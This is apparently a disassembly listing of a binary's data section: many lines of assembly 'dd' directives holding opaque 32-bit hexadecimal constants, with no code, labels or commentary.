		dd 9A9D24F3h, 0A06C5A92h, 964A881Ah, 0ADB3FAA8h, 0E8ABBD84h
		dd 977B014Ah, 9874E1FDh, 0A0492E43h, 0DC9A7C02h, 0A500D0FEh
		dd 0B575F652h, 3096EDDBh, 0B0C25190h, 649D5BB4h, 0ABAF82A4h
		dd 80563721h, 1D065F1h,	0E6B831EAh, 0B2E31341h,	0B590D899h
		dd 0F65A0CD3h, 8293C032h, 0D4ACAE9h, 0B51091CBh, 92013AAFh
		dd 96EF1A6Dh, 5125F062h, 0A5487369h, 4E23CDh, 0CBFE05F2h
		dd 69D69760h, 0C8D747C3h, 957DFCEh, 90612549h, 803C1059h
		dd 6A9CFC09h, 183223CDh, 9A50FEC0h, 904BD169h, 0A854D1A1h
		dd 19B8BFA9h, 0D0C028Ch, 0E2C7C5DBh, 9A7F157h, 4C55FCB7h
		dd 95F3B534h, 5B280909h, 48FCA7C0h, 3D76A67h, 98AF5186h
		dd 0B83152D8h, 0B6FEBF12h, 8F0229Eh, 2F61BD29h,	40A97849h
		dd 7031E603h, 0CDD2260h, 45857384h, 0E4610117h,	1E900171h
		dd 98924A15h, 75F829C2h, 51953995h, 2045558Ch, 9CB05F49h
		dd 630AB325h, 8D9DF995h, 0DFFEF1A7h, 8FD1D04Fh,	574E0592h
		dd 8BB905D6h, 0F1DF01D1h, 0AC7EE945h, 8161E23h,	0EAA43AA8h
		dd 97F94E88h, 0F6190611h, 8470F8Ah, 7D8011E9h, 3B1A0516h
		dd 5E6F003Fh, 70E8AF3h,	1309852Eh, 5A5BC9C0h, 561A81B3h
		dd 8532F17Eh, 33E95B55h, 65BB8F20h, 8D8B1869h, 895303FFh
		dd 32E59D1Ah, 44A9542Fh, 1F6A5418h, 0A554C65Ah,	64FE341Bh
		dd 0ABB37104h, 4982A1ADh, 4D5F0F30h, 318E396h, 37FF6A8Ah
		dd 59159F97h, 3AF1A238h, 6FD2D8BDh, 31DB023Ah, 431BCB80h
		dd 10B8A8Eh, 6B0ED5B9h,	51E16F8Ch, 5D2EEAFCh, 0A96DED5Fh
		dd 75300C9h, 0A1943A7h,	67DDF04Ch, 0C7E909E0h, 7D25A3D9h
		dd 0E11256B6h, 0B8D4F2B8h, 0E2C1F6AEh, 0A5825785h, 0D50907A1h
		dd 0B7DF702Bh, 17AC81C4h, 6E08B8E7h, 21E99404h,	5B52DB9h
		dd 0BF986C40h, 973CF6Eh, 0DCB5FCF0h, 4E305E5Ch,	4B0D4BE7h
		dd 0ECE7BD88h, 3C627FD8h, 0F0051122h, 0B878C933h, 0D6192530h
		dd 44ED5A9Dh, 0C187F940h, 79690229h, 0FC8A7120h, 88E80F5Ch
		dd 0C0DB04D6h, 0B88DE341h, 0EEB3AC0Ch, 20C29851h, 5B492481h
		dd 5EBC68h, 0DED69E83h,	0D893476Ah, 2D9EB058h, 69BC7185h
		dd 84FFE429h, 0A59549EAh, 5B5ADBFFh, 4C8028DAh,	77A7BBB3h
		dd 1967150Eh, 0EB3DE158h, 9A236941h, 795C232Dh,	7C306E25h
		dd 4A15F33h, 0B9E1FFAFh, 0CC3BB97Dh, 5B275298h,	69CFD6FCh
		dd 0BA422559h, 0D2297304h, 824973F9h, 551A2D7Ch, 0DE2DF567h
		dd 5ED42795h, 0FDA131DEh, 0C60BB1CEh, 150E563Ah, 0CE83038h
		dd 5752AD0Bh, 212A7D66h, 60FB0BF1h, 80623B76h, 3420D7C3h
		dd 0ABB7DF81h, 0C2711925h
		dd 41EF040Bh, 463D62AEh, 0DEDB2Ah, 964F6285h, 0E8C06C35h
		dd 0A8D0F1Bh, 0B3F45A23h, 0B29C1681h, 17CE5AA9h, 0EB300DC5h
		dd 54E61E20h, 0D64A07B0h, 0D04C91E2h, 0CA7BBF89h, 7EB85D04h
		dd 3DC4AD32h, 5B9649FEh, 0F9800371h, 4EBA6090h,	1C3A04DAh
		dd 8361FE8Bh, 0F4EFFBFEh, 359BAF6Ah, 78600FC6h,	21F09155h
		dd 244F2A4Eh, 2CE8D261h, 13D528D8h, 0A0A5CC82h,	0C02E6110h
		dd 22476835h, 0BB0479E9h, 3A7C83B5h, 0B80FE0A8h, 0A992F621h
		dd 0C2B8B0h, 1114BEFDh,	4DAC65Ch, 0B0DEC69Dh, 950EE214h
		dd 18A0AB14h, 894BEF25h, 19A8C8FDh, 0DAC70D8Ch,	247406CBh
		dd 0BE88057Bh, 8A445899h, 0DAEF7060h, 0E916618Bh, 98E40213h
		dd 610997DBh, 9C363DFDh, 828D4052h, 0EFBF5DFBh,	1250F04h
		dd 90F80D9Dh, 0FD76C54Ah, 0B08FEC7Ch, 0BFAF4981h, 4AB2B897h
		dd 0B6E981C5h, 85945CECh, 83FA52B2h, 0A498DB96h, 0A7F720ABh
		dd 5C794285h, 0C3412000h, 0D0CD99C0h, 8DA94B79h, 0CFDB2FB9h
		dd 21FE7F8Dh, 68996F10h, 623777EEh, 0FE49BC9Ch,	6F09D53Ch
		dd 4EA80803h, 8BD3D805h, 6BBA6741h, 1B232Bh, 1DEF3D06h
		dd 8E26B612h, 0E109F8E9h, 2E047926h, 0FA13DC87h, 33FF607Fh
		dd 0A2C4B416h, 4140004Ch, 44B5F63h, 722600A6h, 8839180Ch
		dd 8CE0AA69h, 9661500Bh, 0FD7588Bh, 77205D6Dh, 0E1ABE632h
		dd 352F8851h, 4DB1102Ah, 68D88B00h, 693754C7h, 543D749Eh
		dd 0A9BFF80Fh, 38362083h, 39692857h, 290960F9h,	1D24A5B5h
		dd 4298AB61h, 1B5926BFh, 0EFDE16A6h, 16252C7Bh,	40B1E49h
		dd 27A1FC06h, 0B5891375h, 0BA2DAB55h, 0D926221h, 80EE9B61h
		dd 69BF9FD6h, 59782DCBh, 95F64E56h, 0FE90A930h,	0D9BD010Bh
		dd 71705612h, 0C631B13Ah, 0E90114C9h, 357B6E4Ah, 0BE252E00h
		dd 1001368Ch, 93415359h, 2A113504h, 92EE06BCh, 5BD133A0h
		dd 0C6B273h, 204A22DFh,	0B65ED18h, 0AB825DC4h, 75009DC4h
		dd 1FF75A98h, 1F37CC7h,	95B52740h, 0F1EE836Eh, 0E282F5Fh
		dd 1BE487E3h, 0A954960h, 57396105h, 0B41282F2h,	0B314C6BDh
		dd 0ABB3FDFEh, 23B0635Eh, 0FCD952Dh, 0FE6019E4h, 6B04EF5Bh
		dd 0FD8A85A0h, 1CAC0BBDh, 48D9008Ch, 0C27CA811h, 23EEC73Bh
		dd 12EFBD4Ah, 6B49B17Bh, 70B018A7h, 8E49C0Fh, 0E6AF5C25h
		dd 8964C15h, 0B31CF26h,	0D88E63F7h, 0F0E3ABA1h,	0E5FEFE52h
		dd 91446D6h, 0DEBD2B48h, 6FBF8E6Eh, 0B80F13C4h,	0B246D3E4h
		dd 0BDED783Ch, 17D8EDD3h, 56B6006Ah, 0D7A8E2B7h, 0BF04E0A9h
		dd 790DEFD5h, 0EF9C74ABh, 4200CD6Ah, 0EF9FF873h, 6000CE6Fh
		dd 568FAAB8h, 2F68168h,	1183B7D4h, 5A770361h, 96539D6Bh
		dd 3B181959h, 0B04D1000h, 0E3801C6Dh, 6BFB9CC5h, 830BB754h
		dd 8903F4C2h, 0CB706AD8h, 8D258E90h, 0AD505B1Eh, 54B6050h
		dd 9031969Ch, 85D78AAAh, 66A2D9B1h, 0BDC57349h,	0C48AAA69h
		dd 0F1211864h, 0B3F63F4Dh, 84F59CB5h, 5BD61258h, 0D7C9C5FCh
		dd 0C449080h, 6800720Ah, 45F9856Ch, 0B089C71Bh,	48F695ACh
		dd 0A28BB40h, 0B8224ECAh, 8569E0D2h, 80C00094h,	0D2D67A15h
		dd 0EAEA7137h, 0D1B5E1E3h, 758F20BBh, 0C65F1B25h, 49B70956h
		dd 0FCB3820Fh, 5E71D9FFh, 0F94453C4h, 6020AB96h, 0DF6CDAh
		dd 353CA2E8h, 1F3E77CAh, 9A348400h, 0D7DB87A3h,	0CC504CC2h
		dd 0C8600D6h, 7E97A667h, 8B4886E4h, 5BDA0907h, 0DCA87496h
		dd 0A6AADF12h, 1995904h, 0A64B93CEh, 0BBF8A568h, 0A97D17D6h
		dd 6CBF87CAh, 95C47279h, 98D30D73h, 0BFF3447h, 0B690D5D4h
		dd 7125CF7Eh, 0A0054F6h, 25893E59h, 25AB729Fh, 7EC014E2h
		dd 899FBDDDh, 0BF10715Ah, 232BBB09h, 59441479h,	0A95AD150h
		dd 3C6BD638h, 33A95800h, 0D19EC490h, 0C2B9794Eh, 0AFC6F984h
		dd 3680FE9Eh, 0C7D40112h, 4E8F9B12h, 31C230F2h,	6AD64DB5h
		dd 0DBAC3096h, 5F8B6E4Fh, 0BCA480F8h, 814780D4h, 0DF63C1h
		dd 0D9512019h, 3F8D91A5h, 0BDF7D8BFh, 6EB5A6D8h, 2EB7B701h
		dd 0C7C1FD02h, 0F86F9BEh, 0E409221h, 3556540Ch,	23D82C00h
		dd 0CB94468Fh, 0BF4F4A68h, 0DFD2991Ch, 0DEC98ADh, 5E4B900h
		dd 68633CF0h, 0C8109FF7h, 36799AF9h, 605CAB61h,	81DCA0B9h
		dd 0EFEA980Ch, 0FE3FF53Ah, 0ADA5B7D7h, 0A2A04CD4h, 0FBFBA13h
		dd 465430AFh, 0DA011BF2h, 2554F1C7h, 82A31BCh, 5F122E56h
		dd 0F26B4AF1h, 0AB080014h, 0B0EF5A60h, 0D70C25DFh, 905BA2C0h
		dd 3FEEE852h, 4E6A001Eh, 88B867BEh, 9FAA0B3Eh, 93711DA1h
		dd 5B28F800h, 12FEAE1h,	43E0213Ah, 6B505F60h, 0B0514E08h
		dd 0CF03BFF8h, 9BFDBF5h, 2AC333CDh, 9ADC7F27h, 363597DAh
		dd 0AE801591h, 0C98D892Eh, 0D50C0995h, 1A913635h, 0C087C280h
		dd 0CD27F93Dh, 3ED64B0h, 1567D184h, 0E1907E57h,	0A52E4B4Eh
		dd 930FE13Bh, 0B0E6F2FFh, 84239E0h, 0B0998E6h, 7F225D9Dh
		dd 109F8F30h, 43DE2102h, 5ED7AF86h, 0A76E514Eh,	0C96DED2Bh
		dd 0A3807F72h, 6A8102F9h, 0DC62DED2h, 987A8F00h, 27B8DC59h
		dd 0CFBF257Dh, 0B3F419FFh, 7ABCB57Ah, 9428190Bh, 8B601C62h
		dd 41B589D3h, 0E9251472h, 0C2A059E0h, 8B05BFC4h, 2987A4ACh
		dd 2A4FDD8Dh, 94F64F81h, 0C85B9A6Bh, 1AFFCB19h,	2F87D3FFh
		dd 6C55DDE2h, 42F0BFh, 1BCF9F18h, 0C72675C1h, 1702F4FCh
		dd 9531BF50h, 868388C6h, 0C0A54D2Dh, 9A328D82h,	1CA8B112h
		dd 53FAAE01h, 652F5BF9h, 2382BB35h, 0E0595513h,	194B56Bh
		dd 0A1FEBB7Ch, 5C8C3BCEh, 87250301h, 3C1F263Dh,	2F406E81h
		dd 718D3660h, 0F095840Ch, 0ED92582h, 74006ADBh,	56B805DCh
		dd 142C09B1h, 3D7BC0DFh, 20012308h, 0BFD312EEh,	53CF464h
		dd 0A510C486h, 0E6041208h, 0E4051789h, 0D0891C71h, 69B7122Eh
		dd 88F63CF4h, 0B997FC8Ah, 8B60F53Bh, 0D953489h,	936B88Bh
		dd 781ECB80h, 9D310933h, 5390C75h, 0DA08ECF2h, 5337362Fh
		dd 0C82B0D78h, 8B06288Ch, 0E9B260D1h, 460296B0h, 85ECBD65h
		dd 8CEEFDD3h, 0B5258987h, 0ADE15971h, 9600A271h, 86F1C97Ah
		dd 0D34597BDh, 14C1D031h, 80C15F02h, 1A97E45Ah,	3C40FFB4h
		dd 0B5CFAFCEh, 616E33B6h, 22C11778h, 0BB040F59h, 0E9A50F1Fh
		dd 58510E6Ah, 0E9030139h, 501217FEh, 67F35BFCh,	562FE241h
		dd 0B929AA1Dh, 0E9C30040h, 66B397B3h, 103D3617h, 992707D4h
		dd 8BD848Fh, 0C438AABh,	0B00F3F1Eh, 0B00C5287h,	86FC8476h
		dd 372D9A93h, 70190C6Bh, 1D25DBB4h, 56A30BA8h, 184C92Ch
		dd 93B90228h, 0F4F2DE10h, 0B5014C04h, 0D9EA0EE9h, 0A659765Ah
		dd 0A8215EA8h, 32DE90A2h, 6DFCB37Dh, 9325E021h,	0B72ACDB6h
		dd 2B148483h, 70DC23C0h, 544BB297h, 27CD2503h, 6EE1A98Ah
		dd 7F3F0FD6h, 0BB611978h, 0C8BF6E8Fh, 13125EECh, 0B3F7880Dh
		dd 3A8271B1h, 49954484h, 0D38F9ABAh, 0F2E198BFh, 0C5D59307h
		dd 2199E311h, 5B063A7Fh, 7678B73Ah, 30A60343h, 0DE317927h
		dd 971FF466h, 0DB09612Fh, 47EB7192h, 0FE160E77h, 6F01916Fh
		dd 7BE89E3Dh, 255FC4FDh, 6389B0CDh, 2157A751h, 47218D2Bh
		dd 0F17399E9h, 0FC4F8EAEh, 4FA1E100h, 1D855DFh,	31FECB52h
		dd 0F6FF5B9Bh, 10E3755h, 8ABBAB45h, 2E3BC914h, 8B20F628h
		dd 3DF488B2h, 5C127FC2h, 7F2351D7h, 0E5B059A7h,	0F81690F7h
		dd 9301B292h, 0DF096B8h, 53DC5CE6h, 5B9F5CF6h, 0A8D789Ch
		dd 9A904900h, 0A885B517h, 0F2DE5E8Bh, 2DEF4E4Bh, 0A530C81Dh
		dd 0B7097200h, 3335D49Fh
		dd 0B111709Dh, 88C2645h, 9022769h, 5703398Dh, 42312F11h
		dd 64D52DEEh, 0F7A6809Ah, 922C4BF9h, 192A73FDh,	0E84D112h
		dd 0C8BA9AEAh, 1463C116h, 4BF25A4h, 0C5CFACF8h,	20898E0Fh
		dd 80D8206Bh, 892645F7h, 0FD27EB92h, 8FEF2C30h,	54909727h
		dd 0F98A82F5h, 0F0C15061h, 0C6CC1417h, 949000A3h, 234591ADh
		dd 420082AAh, 0BAF0A43h, 4FF0194Fh, 0F1F6F660h,	862B1B54h
		dd 1978AB6h, 12E38026h,	68D81683h, 25FADB8Ch, 123C535Dh
		dd 73B6A0F8h, 25C1D813h, 0C0B99EADh, 7B03C5F7h,	91AB57F8h
		dd 5A6B89BFh, 9D9D7030h, 6DB5E27Ah, 6019644Bh, 2C59A3D4h
		dd 166ABB45h, 4256AEBDh, 0AA4FACh, 77A139F3h, 13FC0DDFh
		dd 1E152CA0h, 920D048h,	53019FE9h, 0C8D0D189h, 8D72BC41h
		dd 0BB55948h, 5C2DE99Dh, 603EEA4Ch, 911F71C2h, 70556712h
		dd 0F35F0BF3h, 223D5884h, 0A5FE9501h, 24B0F865h, 0E953BD48h
		dd 8A671459h, 0E5D2C85Eh, 9DC02700h, 4ABC489Eh,	0BF6C09BAh
		dd 215C8924h, 0F1D624DEh, 9CCD52EFh, 0BD133367h, 0AAB8E4C1h
		dd 25ECE397h, 0C02AFC50h, 898CFEBBh, 6EFE344Bh,	0F9D51242h
		dd 14ACA0B9h, 93E0958Ch, 0AB0768DAh, 0BB0BB167h, 7F1237A1h
		dd 3E54CE24h, 874CAE64h, 0B5DCD52Fh, 0FE9356AFh, 9436F901h
		dd 0A5C996BBh, 22CF37Ah, 0E7EECBFh, 4CE6F52Ah, 44AC5C9Fh
		dd 4FD5FA11h, 0DCE1640Ah, 0CDB589BCh, 0C9F6140Dh, 90E18DB8h
		dd 0C9B65B61h, 698A71B1h, 6D54A0E2h, 218B2C51h,	2E5342E9h
		dd 0EF875DAh, 9C501300h, 0B74A4E7Eh, 5C1D97CCh,	0FDCE0272h
		dd 0BD430E14h, 0BAB41255h, 0C500736Fh, 0E1BFCF83h, 0D095F9A6h
		dd 0FC7B95BBh, 2A49BD04h, 0CDF6A2AAh, 0ED6A6EAFh, 1B6B8D0h
		dd 9EC76190h, 4BF543F2h, 537F30F9h, 1230F381h, 0FF10F1EEh
		dd 31810D64h, 0B93205A5h, 112B752Fh, 0A798B57Fh, 0F20BE6ECh
		dd 5505EA97h, 89263487h, 492A4D55h, 2DF683Ah, 0D502B9DFh
		dd 1A275EBBh, 0E04AFEFEh, 0FC99A103h, 0BC048C71h, 803AAC2Eh
		dd 17A2F948h, 8011903Fh, 0BD577A7Ch, 2B3AFA08h,	7A8096CEh
		dd 9F00C457h, 9D6128FCh, 6C0707CDh, 969532CCh, 12652588h
		dd 9D059455h, 13D40DD4h, 0FE0A9FADh, 83D67A16h,	14E52588h
		dd 0E2B017EEh, 6F46EB12h, 0A35B7CE3h, 4DCC4A29h, 0C92109BBh
		dd 9C56B47h, 5521150h, 0FA5178Ah, 0ADD01C7Bh, 310ACF52h
		dd 5D18359Dh, 0D02ED0Ch, 9B205F50h, 433380B6h, 0F5DE505h
		dd 0EFBD7C79h, 0C0A4B872h, 40E6AEBBh, 0EF5F4A58h, 0DBD7030h
		dd 0DF45B519h, 5097D3A7h, 554AAA2Ch, 0F64F4DA8h, 0F1814FDDh
		dd 5AABBA5Bh, 53560310h, 2970830Fh, 6CBF5B71h, 759D2AABh
		dd 9A6397F4h, 0E4F687EAh, 52ECDA0Fh, 4BE094F6h,	9E3B7E6Ch
		dd 15448BEBh, 4AEE5016h, 0A569A831h, 7416E04h, 28FF8AAAh
		dd 94955C86h, 0B45A7079h, 0BA09F413h, 576096h, 50515A1Ch
		dd 0C35E5A5Bh, 0A6F4FA28h, 6EAFE053h, 128290B5h, 6081C545h
		dd 0D8501E7h, 4F7F1956h, 0B19230E8h, 2DDB7E56h,	0DE80ABC9h
		dd 29830D13h, 1F29F39Dh, 3D2795BDh, 95D5F889h, 41F340B5h
		dd 0AA244ACCh, 0B509FD63h, 71695C1Fh, 0F95A0D37h, 0EA5EF4C0h
		dd 0DB259416h, 88697362h, 0D06918E9h, 61DDF93Ah, 56332C2Eh
		dd 0A4EABF09h, 38700EBh, 802F299Dh, 0C2952CE9h,	8E87374Ch
		dd 0B601B4F1h, 2BF5A2ACh, 7EF6990h, 79A08CE4h, 60A320F5h
		dd 900003BAh, 25CA76BFh, 65501D67h, 0EB46B727h,	0C69BFCEBh
		dd 3FE764C0h, 8F384A7Bh, 93CF9387h, 2AA1F004h, 6112BE57h
		dd 449C70AFh, 0EC0B72C6h, 0D065EE01h, 0DC709698h, 0E7F68400h
		dd 6A5A2D11h, 97C0B0FBh, 49D07CD3h, 0F19D01C5h,	0A40B5632h
		dd 829242E4h, 80C2D35Fh, 74571BB5h, 4A044F66h, 890C142Bh
		dd 62A627BFh, 0FA7DB1B5h, 0CEFD205Ch, 0E6789F9Bh, 5DDA0EE9h
		dd 13E980C8h, 0B79F6070h, 0AC791F3Ch, 0DE2B00AFh, 0B3906AAAh
		dd 6017FB7Dh, 614FF18Ah, 36B37761h, 1C386A6Ah, 0E7685DE7h
		dd 3080B637h, 2F725B03h, 277602D2h, 175BD33h, 0DD5A5D5Ch
		dd 562D53B5h, 4C5002AAh, 90D70719h, 6E9427h, 0F40AC68Ch
		dd 0F133383Ah, 58394806h, 0B7EAA4B7h, 0FE95BB50h, 1849D4BDh
		dd 6D7A8047h, 254EA00Eh, 2CC5D1FFh, 16B3C438h, 0DB026AF6h
		dd 70C28744h, 0AD47D4D1h, 0ACFABC97h, 9D012255h, 7EEC5201h
		dd 736FFC50h, 371C322Dh, 0AC368961h, 0F3D2582h,	91FBB75Dh
		dd 4D788419h, 0E931A0AEh, 0C510B425h, 0CF078843h, 1EE7F125h
		dd 909EB0h, 8C82846Dh, 0F004735Ah, 2DB5013Ah, 0D45B7AD2h
		dd 6F07DCD2h, 0F4414B4Ah, 0E0AE3B32h, 25231D7Bh, 86732D59h
		dd 0EE181D59h, 5FC52300h, 7159A77Dh, 0FA916C4h,	0D35ACC80h
		dd 1C03AB26h, 502D2525h, 34BEB2C5h, 3A5FA42h, 2DB8A86Dh
		dd 0CB6C4E60h, 4A0F3972h, 88CD888Dh, 898B5B84h,	0EB98829Bh
		dd 573A0927h, 1811B637h, 647D8A80h, 309796CFh, 125EBB9Bh
		dd 0E3090E18h, 9D230E70h, 6759B01Dh, 5D6FAA4Bh,	136F6A07h
		dd 8271B712h, 44557698h, 604E002Fh, 612EEBE7h, 815CC675h
		dd 23551767h, 0ADE8D4E9h, 0A5028475h, 53946ECCh, 0F1BD8260h
		dd 0BF2AC0D8h, 0B56151D6h, 0CA6A0CCDh, 12C10A3h, 40896E50h
		dd 997B033h, 0D948F506h, 704EE661h, 281BDC8h, 64116C94h
		dd 0AF6071E4h, 0E6950CA1h, 0A72FE103h, 78CF169Ah, 2B56DDBBh
		dd 0BF66D500h, 4ABA02AAh, 0C0CCBD06h, 2F7CC35Dh, 1030013Ch
		dd 56C01A68h, 2F4E71C9h, 0F072A3C8h, 62660771h,	59DC3FF2h
		dd 2DE4945Fh, 3C58ACA4h, 4B145495h, 12A4C954h, 32BD2212h
		dd 0D17A0951h, 50D18B2Bh, 0BD25B735h, 0FE07DE00h, 6A7AF155h
		dd 1B7B09Bh, 219A183h, 2B88CD41h, 0DEB941C9h, 2DFA702Eh
		dd 0F5583F29h, 0F0CE7388h, 0DC1C0F00h, 0EBE3B72Dh, 0AA78075Ah
		dd 925BD0Bh, 0E6484A5Eh, 55246D0Bh, 4E0C159Ah, 0DAA8FD1Ch
		dd 0D7A43EE9h, 0CF04DF00h, 0EF802ED1h, 0D41A9746h, 0AF2587F0h
		dd 45D3C4C6h, 4BA22C21h, 0D4AC3FC4h, 92EEDA1h, 0AEC6C05h
		dd 0B1D1D84Ah, 0B2024F41h, 17B5D695h, 0F068A66Ah, 9DF5C6DCh
		dd 14590E73h, 0E3F83F18h, 0BE23AE2h, 4A52BB01h,	0ABB942FDh
		dd 0BA56C474h, 525F5C53h, 50090822h, 43D18D09h,	0D0B8F43Dh
		dd 4ABC5349h, 0A2491C09h, 0E17CD853h, 0C054DE2Bh, 0DEE9823Bh
		dd 0BC14049Bh, 0E83D4616h, 28BF9665h, 0A2124757h, 0C8AA40B1h
		dd 0D95FBD2Ah, 0BA5C265Dh, 0E0525E27h, 203155BEh, 7FC03900h
		dd 9A592E33h, 5C4A0496h, 0EAF70FD1h, 71E479A7h,	20D9D0F8h
		dd 85B0137h, 0DC57CE9h,	93139F88h, 57F849FBh, 0FF258AD6h
		dd 890243BAh, 16D718C5h, 24B5B508h, 426D6605h, 5D032FAEh
		dd 0A23A8E0h, 0CBA9C0B3h, 2750B93h, 0E0CFCD55h,	8BB45980h
		dd 0CCAFB4Bh, 0F8FE9422h, 0FB271F91h, 0A16F785Dh, 61B3CD12h
		dd 0DA2A74AEh, 40E8CEBEh, 2B18BE99h, 0DAE025C2h, 0E5E2487Eh
		dd 0D50C0C32h, 0D6A2085Eh, 525D249Ah, 21B79785h, 4AD6DD0Ch
		dd 0CE2BFBA1h, 5621C1Fh, 14377525h, 1C479D00h, 9702D994h
		dd 4F383F94h, 0BA95A05h, 0DA264DBCh, 0C5257DB9h, 4EB8838h
		dd 0F4DB8002h, 0DCACD660h, 0CD13200Ch, 97F96632h, 0DC8A0B82h
		dd 7E2B075Eh, 17FA978h,	60A4F9A2h, 0C2958D2Bh, 807B5957h
		dd 2C8C9C9Eh, 0E700CB61h, 44535A6Ch, 0B0F11601h, 58CF275Ch
		dd 5D091CFEh, 64445E03h, 15233F7Ah, 56791109h, 1646D620h
		dd 4B019302h, 5B5EDE8Bh
		dd 0D5E85065h, 826DA680h, 46038A1Bh, 697FE39h, 0F64EF845h
		dd 0D670279h, 118D3114h, 0C45F6269h, 0B60956BFh, 0E4906F9Eh
		dd 4F6C959Ch, 4B8504Eh,	0D6C9B9A0h, 0F63E9081h,	0E83FE1ABh
		dd 0F2963840h, 0B75E01CBh, 0D9BF5BDAh, 5DF8BB0Bh, 0BCDBEC14h
		dd 0AC72771h, 0FC968110h, 7760C026h, 3CDE5354h,	0C9120E68h
		dd 4E80B294h, 7AFD21FEh, 0EAA02A9Ah, 5B9C90F1h,	80F2DB6Bh
		dd 8761D005h, 260D0439h, 20E8F7AFh, 3699AFAh, 11B98074h
		dd 0CE0A370Fh, 0C160B8CAh, 0B16D30Bh, 27A3DA56h, 97545B61h
		dd 7B0911E7h, 257EA490h, 94E99368h, 2AD2024Bh, 70896471h
		dd 35578A8Eh, 97F5A378h, 6029CD1Ah, 0B5B6975h, 1F09698h
		dd 3C34164Ah, 2F228547h, 0EE7E7713h, 4BFCFD5Fh,	0DEFE8B85h
		dd 0A797C1C9h, 0C56F3893h, 0E084AA5Ch, 4E56A7EAh, 5807E46Ah
		dd 0FBE770h, 9C91C781h,	66215C34h, 0A78081DEh, 1AB31D96h
		dd 9D5193Ch, 0DC8D09B4h, 0BB6682BEh, 0B8D78E2Ah, 86041948h
		dd 88905997h, 208305E8h, 90D68CDEh, 4D61BD33h, 0AD5E221Bh
		dd 0F07B7263h, 8230A4BFh, 3B18ABBh, 0C2318729h,	0C4ECA09Eh
		dd 0DE2639BAh, 0BFA1C4CBh, 59A00FA7h, 0FA00DB8Ch, 0FDB8600Bh
		dd 0E610A90h, 6BF8D381h, 41FF4A8Eh, 18E8D9B9h, 3AE57101h
		dd 5DD9CB97h, 53180494h, 5B150FE9h, 48751EABh, 0AAA340DDh
		dd 0A0637402h, 71404D14h, 24F15A80h, 800F9989h,	9942CB4Ah
		dd 5E953F66h, 476C87C1h, 905E8775h, 5BA3EC54h, 0E935CCBFh
		dd 915F52C0h, 9642D71h,	34A9B31Ch, 0D0A4F780h, 4507CB6h
		dd 58EA802Fh, 8AD2C8CEh, 5548FE6Bh, 0BF8DDF84h,	0DD65635Dh
		dd 9F000C3Fh, 7DFFD3E4h, 2480F007h, 72BE202h, 4050AAF4h
		dd 5609D567h, 0F2C1FB4h, 0DCD309DEh, 1D188EBAh,	24044A0Eh
		dd 0A6D57A0Ah, 0A93571C7h, 578DD692h, 0CAB4C894h, 5FE63640h
		dd 0BB7500D4h, 64BC2251h, 0B816592Ch, 88EA843Ah, 1A1CAC0Bh
		dd 0E28B07FCh, 0BF80FD6Fh, 0B469DADDh, 891CFC9Dh, 744D615Bh
		dd 0F122C4C0h, 9560EA80h, 21A4EFE7h, 61BE05D6h,	0AF0D69A5h
		dd 6F020B39h, 0BE04F551h, 0D75B0928h, 0A6F32098h, 137B4111h
		dd 0C215C8AFh, 84F31A12h, 74C39C73h, 811499B4h,	27F60760h
		dd 7245042Fh, 3D05253Dh, 29A50914h, 3B6DA601h, 8BB13F09h
		dd 27D9CE2Bh, 0D8D753D0h, 0F89D7871h, 16592031h, 0C4DE4DB5h
		dd 0B0B9611Bh, 160E61C8h, 0E67DECh, 48313969h, 0F9136075h
		dd 0B5A63EB5h, 0D28865Fh, 59F65B95h, 0D4181Dh, 0F917793h
		dd 294055B7h, 0BD893A09h, 41A25E2Dh, 2A6239EFh,	0E65A03F7h
		dd 0F1D5A391h, 55B853CFh, 0C5B8E98h, 9F4F80E7h,	13D9E1E5h
		dd 1CA72Fh, 12E86F39h, 0E3ADC53h, 215D1D50h, 12D33D2Eh
		dd 0B45D30DDh, 0ED0E4122h, 99F03D4h, 0C96E56ABh, 4C554EEAh
		dd 45B5BD4Dh, 5E98A900h, 12623A26h, 0EF0BB47Eh,	0A6BFCA20h
		dd 0B72AE0E4h, 14641E6Dh, 71559262h, 0E15960A3h, 0B900CDF8h
		dd 0A768F324h, 5B042BDAh, 5528F331h, 5AF72A10h,	0FD1117B0h
		dd 3F4A8B01h, 0FC2118A4h, 0B282F63Ah, 0AB963015h, 0CE85313Fh
		dd 660F18CAh, 0B6D371BFh, 301DB217h, 9C00172Bh,	421558B7h
		dd 5ED3DCCh, 16E50BBh, 30F27Fh,	0F88F75F0h, 27FE13FBh
		dd 29605DC9h, 22244CBBh, 5009150Ah, 0C0834D20h,	0E1A13BD4h
		dd 23FDBB0Eh, 9B35331h,	11DD2B25h, 6731957Ch, 6B9EC92Bh
		dd 0EAC9069Eh, 8A61E35Ch, 0AA266AF9h, 2BD91F00h, 0C60ADFDh
		dd 0F1176601h, 0ECF46404h, 49485C26h, 0C6C2B305h, 156BFF54h
		dd 16011823h, 0D833D1B8h, 9098276Fh, 983E8620h,	455FDD00h
		dd 37136261h, 7B5201A8h, 8646E1DFh, 41B22074h, 965F96A8h
		dd 0D449859Ch, 0BF2120Eh, 9DD412C4h, 3BB85092h,	7D8FA080h
		dd 0ED006E17h, 47E12E6Bh, 69FB8B53h, 0AFFB4C5Fh, 9545A571h
		dd 0A1830EDFh, 46B0A7CBh, 0F895651Ch, 0D1569786h, 0C19B4D6Bh
		dd 0F82FE09Dh, 27121FE3h, 8105E3Ah, 83D55C60h, 0F8839E26h
		dd 7D33683Fh, 0C97302A1h, 50C58AB8h, 2E51C076h,	60C0EA17h
		dd 0C4D1E365h, 69738919h, 0A66A34F2h, 54DCF1EFh, 0FC33F92Eh
		dd 0DB3E099Bh, 0AB04E81Ch, 6ADEF1C5h, 95A86BF2h, 10C15658h
		dd 5F2E1FE5h, 1D2F0A3Eh, 1A46D45Ah, 376B7400h, 4ABBB890h
		dd 17146FB7h, 0B032E75Ah, 3B8E9DF0h, 5E80E546h,	60BF766Eh
		dd 6113B032h, 0B4B6F98Bh, 0E0BD9D13h, 5B9DC623h, 6D60D00Fh
		dd 0DA8BCC13h, 55DC3CAFh, 38D80344h, 0A4D6FFF0h, 5DD816F0h
		dd 0BB9ECE09h, 68103A0h, 8B39C85Eh, 0BCED95C1h,	553592C2h
		dd 9D10B8CCh, 65481FF5h, 0BB81C1C0h, 0CE00D18Dh, 0E0E78FAAh
		dd 4342789h, 90887A1Fh,	0E3118483h, 0D54A62EDh,	0C8E55502h
		dd 2B791A31h, 0B2EAE62Ah, 7C5301Bh, 920EAF01h, 6A05B278h
		dd 0BC42F93Ah, 3A10E889h, 8589B71Eh, 0A7101F49h, 3D279D09h
